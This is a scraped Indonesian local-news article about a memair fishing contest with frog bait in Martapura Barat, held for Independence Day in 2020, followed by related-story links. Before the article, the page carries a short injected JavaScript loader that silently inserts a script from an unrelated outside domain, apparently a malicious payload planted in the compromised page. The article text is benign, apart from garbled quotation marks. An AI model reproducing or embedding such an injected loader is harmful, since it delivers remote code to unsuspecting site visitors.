(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, MARTAPURA – Memancing kini menjadi kegiatan yang disukai banyak orang, tak ayal Karang Taruna Buana Putra, Desa Sungai Rangas Ulu, Kecamatan Martapura Barat, menyambut HUT Proklamasi Kemerdekaan RI ke-75 dengan menggelar lomba memair ikan gabus atau haruan dengan umpan kodok hidup.
Lomba mancing dengan alat pancing tradisional ini berlangsung Minggu (9/8/2020) dimulai pukul 14.00 Wita, sebanyak 1.300 peserta ikuti dalam lomba memair.
Sekadar diketahui memair adalah aktivitas orang Banjar mencari ikan dengan sebuah teknik memancing menggunakan bilah paring sepanjang 5-9 meter dengan umpan kodok. Kalau dalam Mancing Mania agak mirip dengan teknik casting, dimana teknik memancing yang satu ini dilakukan dengan melempar umpan buatan (lure) menuju target dengan menggunakan alat joran dan reel. Inti dari teknik casting adalah mobilitas dalam masalah melempar dan menggulung lure.
Hasil tangkapan lomba memair di desa Sungai Rangas Ulu, Kecamatan Martapura Barat, Minggu (9/8/2020). foto: wahyu
Dari ribuan peserta lomba memair, Abdul Hakim, warga Sungai Batang Abulung, Kecamatan Martapura Barat, berhasil memenangkan lomba memair kali ini. Ia berhasil menduduku peringkat pertama, ikan berat ikan yang didapatkan seberat 570 ons.
Abdul Hakim kepada kanalkalimantan.com mengatakan, dirinya datang paling akhir sekitar pukul 15:00 Wita.  “Walaupun hujan sangat deras saya tetap melanjutkannya,†ujar Abdul Hakim.
“Sekitar waktu menunjukan tersisa 20 menit lagi, Alhamdulillah saya mendapatkan ikan yang besar, sehingga membawa saya menjadi juara dalam lomba memair ini,†katanya.
Abdul Hakim, warga Sungai Batang Abulung, Kecamatan Martapura Barat, berhasil memenangkan lomba memair. foto: wahyu
Abdul Hakim, pemenang lomba memair berhak mendapatkan hadiah berupa, piala penghargaan, serta uang tunai sebesar Rp 3 juta.
Tak hanya masyarakat umum saja yang mengikuti lomba memair ini, nampak Kepala UPT Damkar Gusti Yudhi bersama anggota asyik mengikuti lomba memair.
Gusti Yudhi mengakui, sangat bagus diadakan lomba memair seperti ini, dapat menjadi hiburan bagi masyatakat. “Melepas kepenatan, sudah kelamaan di rumah saat pandemi,†katanya.
Peserta lomba memair sedang mencari spot castingnya. foto: wahyu
Sementara itu, Zainal Akli, Pembakal Desa Sungai Rangas Ulu mengatakan, lomba dimulai sekitar pukul 14:00 Wita. Oleh pihak kecamatan dibatasi sampai 500-600 peserta saja, tapi berhubung yang mendaftar banyak dan panitia tidak bisa menolak karena peserta yang datang luar Kabupaten Banjar cukup banyak, akhirnya tetap diperbolehkan.
“Peserta yang ikut lomba kali ini, tidak hanya dari Martapura saja, ada yang dari Rantau, Binuang, Kapuas, Jejangkit, Gambut, Banjarmasin. Kita tidak bisa menolak, jadi kami terus, yang tadinya target perserta 500-600, akhirnya sampai hari H peserta yang mengikuti sebanyak 1.300 peserta,†beber Zainal Akli. (kanalkalimantan.com/wahyu)
Reporter: wahyu
Editor: bie
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.